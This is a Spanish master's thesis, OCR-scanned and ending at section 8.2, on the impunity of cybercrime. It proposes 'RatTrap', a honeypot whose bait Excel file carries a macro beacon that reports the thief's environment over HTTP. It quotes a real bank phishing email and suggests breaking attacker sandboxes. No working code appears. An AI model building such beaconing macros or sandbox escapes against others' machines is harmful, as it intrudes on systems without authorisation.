“Trabaja en impedir delitos
Para no necesitar castigos.”

Confucio.

”Mi mensaje para las empresas
que piensan que no han sido atacadas es:
no estas buscando lo suficiente”

James Snook.
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1 - Resumen.

El veloz crecimiento de internet ha traido multiples beneficios en el uso global por parte de
todos los usuarios, sin embargo, de la mano ha crecido un movimiento de ciber criminalidad, tan
grande como peligroso. El objetivo de este proyecto es el de reflexionar, a partir de una miscelanea
investigacion documental, sobre si existe una gran aceptacion de la impunidad de este tipo de
delitos en la sociedad. Asi mismo, también de si ha adquirido tal magnitud que ha desbordado a las
administraciones de todo el mundo, dejando la principal iniciativa y vanguardia de la ciberseguridad
en manos privadas, y relegando en consecuencia, la identificacion de los atacantes, en favor de las
iniciativas defensivas. Por ltimo, abrir una linea de exploracion en la imputabilidad de los intrusos
mediante la implementacion de una estructura llamada RatTrap, que propondra algunas posibles

aportaciones al ciclo de vida de la seguridad ofensiva.

2- Abstract.

The rapid growth of internet has brought multiple benefits in global use for every users,
however, at the same time with it has grown a cyber crime movement, both large and dangerous.
The objective of this project is to reflect, from a miscellaneous documentary investigation, if it has a
great acceptance of impunity on this type of crime, in our society. As well, if it has acquired such
magnitude that it has overwhelmed administrations around the world, leaving the main initiative
and vanguard of cybersecurity in private hands, and in consecuense, relegating the identification of
attackers, in favor of defensive initiatives. Finally, open a line of exploration in the imputability of
intruders by implementing a structure called RatTrap, which will propose some possible

contributions to the offensive security life cycle.

3 - Palabras Clave. Keywords.

- Identificacion de los Atacantes.
- Baliza informatica.

- Ciclo de la seguridad.

- Ataque certificado sin repudio.

- Impunidad digital.



4 - L.a impunidad en la Ciberdelincuencia (Introduccion).

4.1 - El mundo real y el mundo virtual.

En negocios fisicos como por ejemplo una entidad bancaria, son de sobra conocidas la
multitud de sofisticadas medidas de seguridad implementadas para defender sus activos. En cuanto
a medianas y pequefias empresas, ¢éstas disponen también de medidas de seguridad, aunque no tan
robustas. Pero el ciclo de vida en la seguridad fisica, mucho mas antigua que la digital, no termina
en la correcta repulsion de un ataque, porque de lo contrario se estaria asumiendo la impunidad de
los atacantes como algo inocuo.

No obstante, en el mundo virtual no ocurre lo mismo. En este campo la posterior
identificacion de los atacantes no es a dia de hoy una prioridad, aunque ésta, participe de manera
indirecta en la arquitectura previa de la seguridad, pues desincentiva a los posibles futuros
ciberdelincuentes. Muchos expertos en criminalidad ponen de manifiesto la relacion entre
impunidad y crecimiento de la criminalidad. Y algunos, como en el proyecto “Los costos de la
impunidad”, incluso han estudiado una relacion cuantitativa de las consecuencias que supone la
elevacion de cada punto de impunidad: por cada punto que aumentan las sentencias sobre

homicidios en México, desaparecen 10,4 personas menos. http://www.costosdelaimpunidad.mx/

4.2 - Informe del Ministerio del Interior (2018/2019).

Segun un informe del Ministerio del interior, en el afo 2018, el 77,6% de los ciberdelitos
denunciados quedaron sin esclarecer y apenas el 5,1% terminaria en detenciones. En el 2019
fueron el 84,9% y el 4,08%. Y es relevante subrayar el concepto “denunciados”, pues las cifras con

casi total seguridad, seran mucho mayores.

n DATOS ESTADISTICOS DE CIBERCRIMINALIDAD (Fuente de datos: Sistema Estadistico de Criminalidad)

>> 4.3. Representacion territorial de hechos denunciados de cibercriminalidad. Afio 2018

Hechos conocidos: 110.613
Esclarecimiento: 24.767 22,4% |
Detenciones/invest: 5.697
DATOS ESTADISTICOS DE CIBERCRIMINALIDAD (Fuente de datos: Sistema Estadistico de Criminalidad)

>> 4.3. REPRESENTACION TERRITORIAL DE HECHOS DENUNCIADOS DE CIBERCRIMINALIDAD. ANO 2019

Hechos conocidos: 218.302
Esclarecimiento (*): 30.841 15,1%
Detenciones/invest: 8.914


http://www.costosdelaimpunidad.mx/

@® Fraude @ Amenazas/Coacciones @ Falsificacion
Acceso/Interceptacion @ Contra el Honor @ Delitos Sexuales
@ |Interferencia de datos @ Propiedad Indust/intelect

80,20 % 88,01 %

De entre dichos delitos, el fraude informatico acapara la fraccion mas grande del global de la
ciberdelincuencia conocida, con el 80,2% en 2018 y el 88,01% en 2019. Estos porcentajes, si que
se aproximaran a los porcentajes reales, pues teniendo en cuenta el “teorema central del limite” (el
cual garantiza una distribucion aproximadamente normal cuando n es lo suficientemente grande) se
alcanzarian volimenes suficientes para actuar a modo de muestreo.

De dicho delito de fraude informatico (estafa) escenifiquemos el mas conocido y frecuente
de todos: el phishing. El estafador, conocido como phiser, se hace pasar por una empresa o entidad

de confianza para suplantarla y persuadir a las victimas para que le faciliten informacion sensible.

4.3 - Diagrama de un ejemplo muy frecuente del ciclo del phising:

w Maquina Zomble
2 |__;|
A Datos Sensibles /

Atacante



Como paradigma de los métodos de phising, estd la suplantacion de entidades financieras.
La victima recibe un email simulando (a veces mejor y otras veces mas burdamente) a una entidad
financiera. Le exigen que cambie sus credenciales de acceso debido a un intento de vulneracion de
la seguridad de su cuenta o sin dar ninguna razon. La victima es dirigida a una web clon de la web
oficial. El phiser recaba sus viejas y nuevas credenciales y rapidamente las cambia en la web
original. Acto seguido redirige a la victima a la web original, haciéndole creer que todo ha ido bien.

Ejemplo real:

ayuda-servicio.al.cliente-santander
Fwd [TR] Re : Nueva sistema !
Para: undisclosed-recipients

Bienvenido a tu Banca!

Apartir del [-13/07/2020-] No puedes utilizar su cuenta. Tienes que activar la
nueva sistema de seguridad web.

Una vez que actualice la informacién de su cuenta, su cuenta comenzara a
funcionar normalmente una vez mas.

El proceso completo tomara solo 5 minutos. Deberia tomar medidas ahora
para solucionar el problema lo antes posible.
La nueva sistema garantizara la mejor seguridad en sus operaciones.

Activa ahora el nuevo sistema de seguridad

* Ahora, por su seguridad, le vamos a enviar un SMS a su niGmero de
mévil con un cédigo de seguridad

© Santander S.A, Todos los derechos reservados.

4.4 - ;Pero y qué sucede después?

El delito anterior es sobradamente conocido, pero la pregunta que se deriva de ello es “;y
qué sucede después?” ;Qué sucede una vez que la victima ha sufrido las consecuencias o que se ha
dado cuenta del intento de estafa, aunque no haya llegado a concluirse maliciosamente? (Las
autoridades publicas o privadas, tratan de identificar lo suficiente al o a los atacantes? ;O pasa
a engrosar el 95% - 96% de infracciones impunes? Pues dependerd de la gravedad de los hechos,
pero basandonos en los estudios mencionados, la inmensa mayoria de las veces quedara sin
investigar o sin esclarecer.

Un ejemplo al alcance de cualquiera, representativo de la mencionada situacion actual de

impunidad, esta disponible en YouTube. Nos referimos a una serie de iniciativas poco legitimas para



denunciar publicamente a ciberdelincuentes. El propietario de un canal se burla de centenares de
scammers (estafadores) atacando ¢l a los ordenadores que pretenden atacarle.

Canal de YouTube Scammer Revolts:

https://www.youtube.com/c/ScammerRevolts/videos

En dicho canal podemos encontrar, como ejemplo entre otros, el video “SCAMMER
RAGES WHEN I DELETE THOUSANDS OF HIS FILES!”, y en ¢l podemos comprobar cémo
el propietario del canal es victima, aparentemente, de un intento de ataque malicioso por parte de un
scammer y como realmente es ¢l quien obtiene el control de la maquina del atacante, para
eliminarle multitud de archivos como escarmiento.

Tanto la actitud delictiva del scammer como la dudosa actuacidén del contraatacante, son
susceptibles de ser paralizadas por investigaciones policiales y por procedimientos juridicos. Sin
embargo el primer video de los centenares que se pueden encontrar en dicho canal es del afio 2016 y
a dia de hoy, en el 2020, el propietario continia produciéndolos, a pesar de estar al alcance de
cualquiera, evidenciando la impunidad que existe actualmente.

Este comportamiento si se extrapolara al mundo fisico, seria como si una persona grabara
videos robandole la cartera a carteristas en el metro, rompiendo sus documentos, y haciéndolo por
afios sin que nada ni nadie le detuviese.;Se podrian publicar estos robos durante afios en la red? ;No

seria delito?

4.5 - Situacion actual.

Si nos basamos en el estudio de impunidad del Ministerio del interior, a todas luces, aunque
los datos no son publicos, las dotaciones y efectivos de la Unidad de Investigacion Tecnoldgica en
Espafia, creada en el 2012, no estan siendo suficientes. Y aunque no esta ocurriendo en la misma
proporcion en todos los paises, en todos se enfrentan al mismo problema. El auténtico valor del
indice de impunidad, con seguridad estd muy lejos del de los delitos no virtuales, a pesar de que los
delitos en la red representan en el total del conjunto de los delitos, una fraccion cada afio mayor. Los
ciberdelincuentes cuentan con grandes recursos con los que no se dota a las administraciones y esta
es una de las razones por las que muchas empresas contratan servicios privados o adquieren sus
propias empresas de Ciberseguridad, como Elevenpaths (adquirida por Telefénica), proveniente de
la ex Informatica64, a las que convierten en su unidad de seguridad informatica.

De hechos como este, se desprende que a dia de hoy estamos viviendo en un mundo en el

que las empresas se ven obligadas a contratar su propia policia privada virtual, mejor dotada que la

8


https://www.youtube.com/c/ScammerRevolts/videos

policia publica. Y la circunstancia que queremos subrayar en este estudio, se halla en que dicha
policia privada, esta destinada principalmente al bastionado y no a la identificacioén de los atacantes,

con lo que esto supone para futuros ataques.

4.6 - Desmotivacion en la identificacion de atacantes.

Desde el punto de las administraciones publicas puede ser desmotivador por varias razones:

- En primer lugar, los ciberdelincuentes tienen mas recursos economicos destinados a herramientas
automaticas y a mecanismos en general, que los que las administraciones reciben.

- En segundo lugar, la proporcion entre ciberdelincuentes y ciberpolicias, teniendo en cuenta la
imparable produccion diaria de malware, es claramente favorable a los primeros. El estudio de un
caso, puede ser laborioso y lento en algunas ocasiones y por cada identificacién que un efectivo
logra, a su alrededor circulan cientos de atacantes descontrolados.

- En tercer lugar, muchos ataques se realizan desde paises extranjeros, que dificultan la
trazabilidad y en ocasiones, que incluso conniven con sus gobiernos. Y si bien es verdad que una
vez identificados, se puede poner en manos de la Interpol, esto en si mismo, ya es una clara
dificultad anadida.

- Y por altimo, la poblaciéon dentro del mundo virtual no tiene la misma percepcion de lo que es

delito, como en el mundo fisico, y esto se convierte en una rémora mas.

4.7 - ;Un problema solo en Espaiia? Contexto Mundial.

Curiosamente, a pesar de la impunidad mencionada en Espafa respecto a los delitos
informaticos, Espafia fue en el 2018 el séptimo pais mas comprometido con la Ciberseguridad
segin La Union Internacional de Telecomunicaciones (organismo de las Naciones Unidas), como
muestra en su informe “Global Cibersecurity Index”. Este dato nos puede dar una idea del contexto
mundial frente a la ciberdelincuencia, frente a la identificacion y frente la impunidad.

De poco servirdn los esfuerzos y el compromiso por la Ciberseguridad en paises como
Espaiia, si paises como Andorra, que son limitrofes y de facil transito sin visado, ocupan la posicion

143 de dicho ranking mundial.



Table 4: GCI most committed countries globally in 2018 (normalized score)

Rank Member States GCl Score Legal Technical Organizational f:':;c':: Cooperation
1 United Kingdom 0.931 0.200 0.191 0.200 0.189 0.151
2 | United Stftes of | 0.926 ‘ 0.200 0.184 0.200 ‘ 0.191 0.151

America
3 France 0918 0.200 0.193 0.200 0.186 0.139
4 Lithuania 0.908 0.200 0.168 0.200 0.185 0.155
5 Estonia | 0.905 0.200 0.195 0.186 0.170 0.153
6 Singapore 0.898 0.200 0.186 0.192 0.195 0.125
7 Spain 0.896 0.200 0.180 0.200 0.168 0.148
8 Malaysia 0.893 0.179 0.196 0.200 0.198 0.120
9 Norway 0.892 0.191 0.196 0.177 0.185 0.143
10 Canada 0.892 0.195 0.189 0.200 0.172 0.137
11 Australia 0.890 0.200 0.174 0.200 0.176 0.139

Global Cybersecurity Index 2018

4 Key findings

4.1  Heat map of national cybersecurity commitment

Figure 4: Heat map showing geographical commitment around the world




S - Hipotesis.

La identificacion como prioridad.

La ciberseguridad respecto del promedio de los delitos en general, se encuentra en un estado
preocupante de impunidad y la tendencia muestra un empeoramiento debido al vertiginoso
crecimiento de los ciberdelitos respecto del total de las infracciones (5,3% en el 2017 - 7,01% en el
2018 - 10,01% en el 2019).

En el afio 2019 en Espaia, analizando los datos oficiales del Ministerio del Interior, se ve
claramente un mayor esclarecimiento de los delitos en funcion de la gravedad. Mientras un
homicidio tiene una tasa de esclarecimiento del 95,3%, el trafico de drogas del 93,2%, la agresion
sexual del 86,4%, el secuestro baja al 55%, el robo con violencia e intimidacion al 33,6%, la
sustraccion de vehiculos al 28,7% y los hurtos al 18,7%. Esto muestra, entre otros factores, un
patron por parte de las autoridades priorizando el esclarecimiento de los delitos entendidos como
mas graves sobre los que lo son menos. El cuestionamiento de la estrategia a la que apunta este
patrén no es el objetivo de esta investigacion pero si es importante que muestra, como un hecho
coherente, que el indice de ciberdelitos esclarecidos esté en la franja mas baja del escalafon con un
15,1%, y eso unicamente teniendo en cuenta los delitos denunciados. En el nuevo informe de la
asociacion de Auditoria y Control de Sistemas de Informacion (ISACA) se pone de manifiesto que
la mayoria de los delitos informaticos no se denuncian, lo que de ser cierto, decreceria la tasa de
esclarecimiento a un valor més bajo aun, como apuntan todos los indicadores.

La alta tasa de impunidad es un factor que retroalimenta el crecimiento de las nuevas
infracciones cibernéticas, mientras ninglin estamento de caracter internacional esta logrando obtener
el control de la red globalizada. En este punto se hace necesario un frente de seguridad ofensiva,
que no deje a la cibercriminalidad seguir marcando los tiempos y que le disipe esa sensacion de que
es poco probable que haya consecuencias. En los ultimos tiempos la seguridad ofensiva ha
demostrado ser una de las mas eficientes respuestas, si no la mas eficiente, al crecimiento
vertiginoso de los delitos informaticos. Las victimas y administraciones, ya no so6lo adquieren
elementos defensivos sino que ademas se adelantan en muchos casos a los incidentes.

Un paso primordial es que tanto desde el plano privado como desde el publico, se han de
hacer mas esfuerzos por trazar la identidad de los ciberdelincuentes con medios que ademas logren
certificar lo suficientemente las autorias, logrando el no repudio, y la imputacién en caso de

encontrarse en el marco juridico punible. Esto reduciria la sensacion de impunidad. Y es aqui donde
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la seguridad ofensiva puede jugar un papel fundamental. Los atacantes pueden ser identificados, y
muchas veces imputados, en un numero mucho mayor de casos, destinando los recursos y los
esfuerzos suficientes para ello y de tal modo, algunos de los futuros atacantes seran desincentivados
en la ecuacion: sensacion de impunidad = crecimiento del delito. De entre las multiples voces que

(13

manifiestan esta relacion se encuentra la corte Iberoamericana de Derechos Humanos: “...la
impunidad propicia la repeticion cronica de las violaciones de Derechos Humanos...”.

Por tanto, reduciendo la sensacion de impunidad mejoraremos el ciclo de vida de la
ciberseguridad, si no anadiendo una etapa mas, aportando mas elementos activos, que a dia de hoy,
en vista de los indicadores oficiales, son claramente insuficientes.

Lanzando una primera linea de andlisis en la identificacion de los atacantes como parte
activa del ciclo de la seguridad, que servira como punto de partida, mostramos en esta investigacion
el funcionamiento de una propuesta sencilla en un entorno controlado, marcando un archivo de
office robado que identificara a los hipotéticos ciberdelincuentes y reduciendo asi la sensacion de
impunidad. En concreto, en la simulacién de nuestro proyecto, marcaremos un archivo disponible
en un acceso vulnerable.

Hay muchas analogias que se pueden utilizar para ilustrar nuestra propuesta pero una que
nos parece especialmente interesante es la de los localizadores GPS antirrobo de las motocicletas.
Este tipo de dispositivos se ocultan en el interior del motor (siempre en diferentes lugares para no
ser previsibles) con la intencidon de enviar su ubicacion en caso de ser sustraidos, e informar de su
paradero. Estos han dificultado el robo de este tipo de vehiculos y los responsables incluso se han

visto obligados a modificar su modus operandi, como se explica en el portal detector-seguridad en

su articulo “El robo de motos en Espaiia”:

“..la transportan a algun lugar discreto alejado del lugar del robo para hacer lo que llaman
ellos “ dejar enfriar” por si hubiera algun dispositivo de recuperacion en caso de robo y
regresan a los pocos dias. En el caso de que la moto se encuentre en el lugar ya se la
llevan al taller clandestino para el desguace y la venta por piezas o para transportarla
integramente y venderla en el mercado negro”.

Hasta tal punto cambia las cosas una baliza, que segun el mencionado estudio del Ministerio
del Interior, s6lo el 10% de este tipo de vehiculos son recuperados y dicha recuperacion dependera,
como uno de los factores principales, de si el vehiculo contenia un localizador.

En nuestro ejemplo, un archivo de excel llamado Users-And-Passwords serd nuestro GPS

esperando por si alguien lo robase en un acceso falso con una vulnerabilidad conocida (HoneyPot).
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Nuestro archivo de office actuard igual que un localizador GPS dejando que sea el ladron
quien lo introduzca en su propiedad. Dicho fichero albergara un script que actuara como nuestro
localizador, obteniendo informacion del nuevo entorno en el que se encuentra tras ser sustraido y
enviandolo a través de internet, por medio de peticiones HTTP. Esta peticion pasara por una entidad
certificadora que se hara testigo de su autenticidad.

Ciertamente, no quedara demostrado en este experimento que se puede mejorar
sensiblemente la identificacion de los intrusos con estas técnicas, entre otras razones por ser muy
sencillas las técnicas de monitorizacion que vamos a utilizar y ademds por no probarlas en una
situacion real, pero es que el objetivo que realmente buscamos es el de ofrecer un interesante
planteamiento de lo que podria llegar a mejorarse la identificacion de los atacantes a través de
archivos auténticos o archivos aparentemente auténticos y de lo que supondria para el control del
crecimiento de los ciberdelitos la priorizacion de la identificacion como una etapa mas.

En cuanto al conjunto del entorno mas el localizador, lo hemos llamado RatTrap, pero no lo
hemos hecho, como se podria llegar a pensar, por definir a los ciberdelincuentes como este tipo de
roedores, sino por el comportamiento que tiene este animal como ladron. La rata no come donde
roba si no es estrictamente necesario, sino que lleva lo que sustrae a su madriguera y una vez alli,
relajada y confiada, disfruta tranquilamente del fruto de sus actos.

Los ciberdelincuentes habitualmente toman serias medidas de precaucion cuando estén
acometiendo sus ataques y para la mayoria de las empresas y particulares, son dificiles de rastrear
en ese momento, pero tanto antes de iniciarlos como una vez terminados, trabajaremos sobre dos
probabilidades:

- Por un lado, en la gran mayoria de las ocasiones tomardn el acceso mds sencillo, la
vulnerabilidad menos compleja de explotar (no es imaginable un ladrén escalando a un cuarto
piso en busca de una ventana medio abierta, cuando la puerta de la calle estd mal cerrada) y por
tanto accederan al HoneyPot fortificado ignorando el resto.

- Por otro lado, al abandonar el objetivo atacado seran menos precavidos y tomaran medidas de
ocultacion menos robustas, lo que facilitara la identificacién por parte de una baliza que emita
sefiales. E incluso si son precavidos, habremos logrado entrar dentro del entorno del atacante, y
dependera del nivel técnico de quien haya disefiado la baliza, el romper las aparentemente
infranqueables barreras defensivas que se puedan encontrar, del mismo modo que algunos
malware como Careto logran eludir entornos controlados como el de la ya no tan inexpugnable

Sandbox de Google Chrome.
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6 - Actitud reactiva actual frente a los ataques.
(Estado del arte).

Imputabilidad - Impunidad

Bastionado

IDS, actualizacién de software, Firewalls, Roles y fortificacion de
privilegios de usuarios, fortificacion de autenticacion, etc.

Balizas marcadoras de intrusos

No hemos encontrado herramientas balizas que marquen a los intrusos.

Intrusiones

otros paises, sus instituciones, empresas y ciudadanos siguen

Los Estados, y los grupos patrocinados por ellos, y sus acciones contra @
representando la ciberamenaza mas significativa (ccn-cert-cni). W

Informética Forense

Estado del Arte

Es la aplicacién de técnicas cientificas y analiticas especializadas a
infraestructuras tecnolégicas que permiten identificar, preservar, analizar y
presentar datos validos dentro de un proceso legal (wikipedia).

Procesamiento delitos informaticos

Mecanismos para proceder a la imputabilidad de delitos informéaticos por

medio de juzgados ordinarios no especializados.

6.1 - Contexto actual de iniciativas similares.

Analizando los sitios web de las empresas mas importantes de ciberseguridad, como
Accenture, IBM, ElevenPaths, etc., constatamos que ninguna ofrece servicios de identificacion y
captura de los intrusos, destinando su oferta principalmente a la prevencién y respuesta de
incidentes. Por el momento primordialmente se trabaja en el bastionado como principal elemento de
la seguridad y con un fin defensivo, en el estudio tanto anterior como posterior, de los ataques. En
nuestra busqueda de las propuestas vigentes, no hemos encontrado herramientas destinadas
principalmente a la identificacion de los atacantes y menos aliin desde su propio entorno. Eso no

conlleva necesariamente que no existan, pero si que no son de facil acceso y por tanto son escasas.
14



A dia de hoy no se prioriza marcar al atacante a su paso con algtn tipo de huella o rastro que se

pueda seguir posteriormente, sometiéndose, al casi Unico fin de contrarrestarlo.

6.2 - HoneyPot. En el interior del incidente.

Sin duda, el HoneyPot es la herramienta que mas se aproxima a la identificacion de los
atacantes, pero con la salvedad de que esté inicialmente pensada para destapar su modus operandi y
con los conocimientos adquiridos, defenderse de ellos.

Una diferencia importante es que estas trampas actuan en el propio entorno mientras que
nosotros lo hacemos en el del intruso. Es cierto que RatTrap contiene un HoneyPot en su
construccion como parte de su estrategia pero lo hace con el Gnico fin de proteger el resto de la
estructura de la intrusion. Ni estudia al atacante ni trata de identificarlo desde dentro.

Si bien es cierto que los primeros se utilizan principalmente para estudiar al delincuente y
utilizar esos conocimientos para defenderse mejor, en ocasiones también buscan trazabilidades que
acaban siendo muy Tttiles para posteriores investigaciones.

Los HoneyPot simulan entradas accesibles que hacen creer a los atacantes que hay
vulnerabilidades disponibles, dejandoles consumir tiempo dentro de un entorno controlado. Son una
herramienta muy eficiente cuando estamos dentro de nuestro entorno, no sélo para estudiar el
comportamiento de los intrusos sino también para emplearlos directamente como linea de defensa.

No son herramientas nuevas, ya que son casi tan longevas como internet. Algunas de ellas,
como Deception Toolkit (1997), llevan décadas desplegadas ofreciendo una coleccioén de aparentes
servicios vulnerables, escritos en Perl, que en realidad solo distraen al atacante y lo mantienen
confundido con el fin de frustrarlo.

Un proyecto interesante en el estudio de los ciberdelincuentes para tener muy en cuenta es

honeynet https://www.honeynet.org/, creada por el analista Lance Spitzner, apasionado del analisis

del comportamiento de los intrusos informaticos. A través de ella y de los resultados de multiples
HoneyPots se pueden entender muchas caracteristicas del paradigma del intruso. De su autor es
muy recomendable la lectura “Honeypots: Tracking Hackers”.

Por citar s6lo algunos otros HoneyPots relevantes del gran abanico que existe, estan
HoneyC, Sebek, Argus, Capture-HPC, mapWOC, Conpot, Gaspot, Gridpot, iHoney.

Una propuesta que hemos encontrado inicialmente inspirada también en la identificacion
forense de los atacantes aunque desde el propio entorno, la ofrece la empresa israeli Illusive

Networks https://www.illusivenetworks.com/. Esta empresa, una vez detectada la intrusion, disena

un entorno que permite acceder al atacante, confundiéndole con caminos erroneos, para finalmente
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expulsarle y después emplear herramientas forenses contra €él. Ellos lo definen como un laberinto de
engafios que hace que la victima lleve la iniciativa del ataque, mientras el atacante piensa que es al
contrario.

Un detalle interesante y resefiable sobre el mencionado proyecto, es que Eric Schmidt,
presidente ejecutivo de Google, invirti6 en ellos al conocer su propuesta, comprando una parte de la

empresa.

6.3 - Herramientas con semejanzas.

En nuestra busqueda por un concepto similar si hemos encontrado algunas iniciativas que
contienen otro tipo de semejanzas y que nos parece interesante mencionar. Se pueden encontrar
algunas herramientas que atacan también vulnerabilidades o descuidos como habilitar las macros en
un documento de office, como hacemos nosotros, pero estdn mas orientadas a localizar empleados
que son descuidados. Una de ellas es MacPhish, disefiada con una intenciéon pedagdgica de
concienciacion, para obligar a dichos empleados a emprender unas minimas medidas de seguridad.
Esta herramienta podria sernos muy util a la hora de evaluar qué personas en nuestra empresa
aceptan las macros sin ningun recelo. Como en nuestro caso, MacPhish enviard a un endpoint, si
asi se desea, informacion basica de la victima, tal como la IP o el puerto. Y es capaz incluso de ir
mas alla y de ejecutar un meterpreter.

https://github.com/cldrn/macphish

La caracteristica que encontramos en esta herramienta que nos recuerda mas a la nuestra, es
el vector beacon o baliza. Esta nos puede mantener informados por medio de peticiones HTTP de

cuando la maquina esta activa y cuando no.

6.4 - Herramientas forenses. Después del incidente.

Las empresas tardan, segun un estudio del Instituto Ponemon, una media de 3 meses en
darse cuenta de las brechas de seguridad, y de estas empresas, las mas pequefias, incluso 6 meses.
Sin hablar de las que nunca lo detectan. Para ese momento, tratar de buscar e identificar a los
autores de las intrusiones puede llegar a ser una tarea casi imposible. Pero no todo esta perdido, ya
que existen, herramientas y frameworks forenses con las que investigar los incidentes e identificar a
los responsables. De entre las més relevantes podemos citar:

FTK (Forensic Toolkit) para el analisis de discos duros con la interesante capacidad, entre otras, de

generar analisis forenses de correos electronicos, incluso borrados.
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También la Suite CAINE Linux (Computer Aided Investigative Enviroment), una magnifica
recopilacion de completas herramientas forenses. He aqui algunos de los programas nativos que
podemos encontrar en CAINE Linux:

- Autopsy: Analiza diferentes tipos de evidencias a partir de una imagen del disco.

- Galleta: Especializada en andlisis de cookies.

- Grissom Analyzer: Especializada en el analisis de imagenes.

O la herramienta LORG https://github.com/jensvoid/lorg para el andlisis de server Logs.

Captura de pantalla de “Anélisis forense de logs de Apache/Nginx” de https://www.linuxito.com/:

LORG genera un reporte completo y detallado en formato HTML:

emi@hal9000:~/scripts/lorg % 11 -h report_13-Jul-2016-161213.html

-rw-r--r-- 1 emi wheel 70M Jul 13 14:17 report_13-Jul-2016-161213.html

ClO®|I®6|6|6

o
o

Dl ¢
|
!
|
!
i
<

6.5 - ;Qué razon puede haber para que no haya mas herramientas desplegadas en el ambito
privado para la identificacion de los atacantes?
Una razén podria ser probablemente de origen legal. La ley no sabe como distinguir entre
hackers maliciosos y hackers éticos, y en consecuencia introduce a todos en el mismo saco juridico.
“En Esparia se entiende por Delito Informatico: Ataques que se producen contra el derecho
a la intimidad. Delito de descubrimiento y revelacion de secretos mediante el apoderamiento y

difusion de datos reservados registrados en ficheros o soportes informaticos. (Articulos del 197 al

201 del Codigo Penal)”. (“Ley de Hacking y tipos de delitos informaticos”. http://oscarpadial.com/

ley-hacking-23-diciembre-2010/)
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Asi que con esta rémora hay que hilar fino para no acabar siendo victima de las buenas
intenciones. En cierto modo es comparable a una situacién sobradamente conocida: alguien intenta
expulsar a intrusos okupas que han allanado su vivienda y haciéndolo comete un delito. No siempre
el sentido comun va estrictamente de la mano del sentido regulatorio.

En concreto el articulo que encorseta mas a los hackers bienintencionados y a los expertos en

ciberseguridad ofensiva es el siguiente:

Articulo 197.

3. El que por cualquier medio o procedimiento y vulnerando las medidas de seguridad establecidas
para impedirlo, acceda sin autorizacion a datos o programas informdticos contenidos en un
sistema informdtico o en parte del mismo o se mantenga dentro del mismo en contra de la voluntad
de quien tenga el legitimo derecho a excluirlo, sera castigado con pena de prision de seis meses a

dos arios.

Obviamente seria un delito introducir un localizador en un recinto privado, pero si fuera el
propietario del recinto quien robase dicho localizador y lo introdujese en €l (como un atacante que
robase un archivo que facilita informaciéon de su entorno), el dispositivo Gnicamente continuaria
emitiendo su localizacion, presuponiendo que el entorno es el propio, y por tanto no se cruzaria

ninguna linea legal (al igual que con nuestra baliza). Delataria al intruso de manera “fortuita”.
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7 - RAT TRAP (Desarrollo).

7.1 - RAT TRAP. ;Herramienta o concepto?

RAT TRAP, como ya hemos comentado, no es exactamente una herramienta, sino una linea
de analisis. En cierto modo, una reflexion lanzada al aire.

Si bien hay programacion en ella, su sofisticacion frente a la recopilacion de datos del
atacante no es muy alta, porque en realidad lo que pretende es ser una figura conceptual sobre la
que trabajar, lanzando preguntas al aire, resolviendo quizas algunas cuestiones y dejando otras a la
interaccion de quien desee avanzar mas.

RAT TRAP se compone de distintos elementos que configuran una pequefia trampa para el
intruso y su resultado ha de ser, como poco, un rastro de migas de pan y una marca, lo mas univoca
posible, dentro de la maquina del atacante. Si el atacante se protegiera encapsulando nuestro

localizador en un entorno controlado, se deberian estudiar medidas para romper el sandboxing.

7.2 - Arquitectura de Rat Trap.

] L ]
©
4 @ \Exicon Macro Baliza
—_—
Entidad Certificadora HTTP — Eg r.\
’ [_ Security
Puerto Vulnerable
@ —_ | CHroot Jail
. . r I
Redireccion 301 /I Maquina Host

Apach; access.log\ @;)
«©©

Rat Trap Monitor
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7.3 - Consideraciones previas al experimento.
(Es RatTrap un HoneyPot?

A priori podria parecer que el concepto RatTrap podria enmarcarse como otro HoneyPot (de
hecho una de sus partes es un HoneyPot), sin embargo estos no estdn disefiados para irse con el
atacante a su escondite, dejandose robar, y desde alli enviar ubicacion y todos los datos que puedan
favorecer la imputabilidad, incluyendo la entidad certificadora. RatTrap es una estrategia

combinada que que va un paso mas alla de donde llega un HoneyPot.

7.4 - La IP v v la autoria en Ciberdelitos. Obstaculos en la imputabilidad.

Antes de adentrarnos en el relato de nuestra investigacion, es importante adelantar un hecho
que es muy relevante. La IP puede ser una valiosa evidencia forense, pero no siempre puede ser la
unica medida inculpatoria. Una IP publica no deja de ser una potente evidencia més para tirar del
hilo pero no acaba siendo siempre en si misma una prueba inculpatoria suficiente, ya que incluso
obteniendo la auténtica, s6lo define la puerta de enlace, pero no la maquina que interviene antes de
la puerta, ni tampoco deja claro si ella esta sometida a un control remoto como maquina zombie. Lo
explica muy bien Ruth Sala Ordéfiez, abogada penalista, especializada en delitos informaticos, en
estos dos fragmentos de su articulo “NAT, autoria en ciberdelitos”:

“Concluyendo, aun solicitando la IP, estariamos mas ante una posibilidad de suma de prueba
indiciaria que si cumple los requisitos que prescribe, entre otras, la Sentencia del TC 128/2011
también podria sustentar un pronunciamiento condenatorio”.

“Es un desarrollo tecnologico que permite que una misma direccion IP publica sea utilizada
simultdineamente por una multitud de direcciones IP privadas asignadas a clientes de una
determinada red”.

Lo que viene a decir es que la IP es un elemento muy valioso pero muchas veces insuficiente

por si solo.
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8 - Elementos de la arquitectura de RAT TRAP.

8.1 - Entorno - Hosting.

Iniciamos el experimento configurando el entorno como el primer espacio del incidente de
seguridad. Analizando distintas posibilidades comprendimos que el entorno adecuado podria ser
igualmente una maquina, un cluster, una red o incluso una nube. Lo Unico relevante era que el
ecosistema habia de ser un espacio de activos que se quisiesen defender y que tuvieran relevancia
para su propietario. Escogimos finalmente una maquina.

El hosting, quedé dividido en dos areas, por un lado un area suficientemente bastionada
(hardening) que cumplia con una necesidad que descubrimos muy relevante: un contraste en lo que

a seguridad se refiere con el otro area.

Excel con Macro Baliza
\\

_ 3 o

[-— Security

Puerto Vulnerable
| CHroot Jalil

En este punto vemos importante recordar que el atacante comun tendra tendencia a escoger
la vulnerabilidad mas explotable.

Y por otro lado, el segundo area, donde escogimos implementar una CHroot Jail. De este
modo estructuramos un sistema operativo encapsulado dentro de otro, sin conexion entre ellos, a
priori, para exponer el acceso vulnerable.

Para nuestro ejemplo, utilizamos una maquina virtual (Virtual Box) cargandole el sistema

operativo Ubuntu 16.04.3.

Distributor ID: Ubuntu
Description: Ubuntu 16.04.3 LTS
Release: 16.04

Codename: xenial
root@ubuntu:/home/ubuntu# I
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192.168.1.63

m dp'c

Servidor de LUCAS PORTOLES DE VAL PFM

Este sitio se publica para el MASTER de CS!!

This server hosts the vulnerability through FTP access. Here the attacker will steal the file that hide the
beacon. This server is the main environment that houses the jails and that owner would like to defend.

8.2 - CHroot Jail.

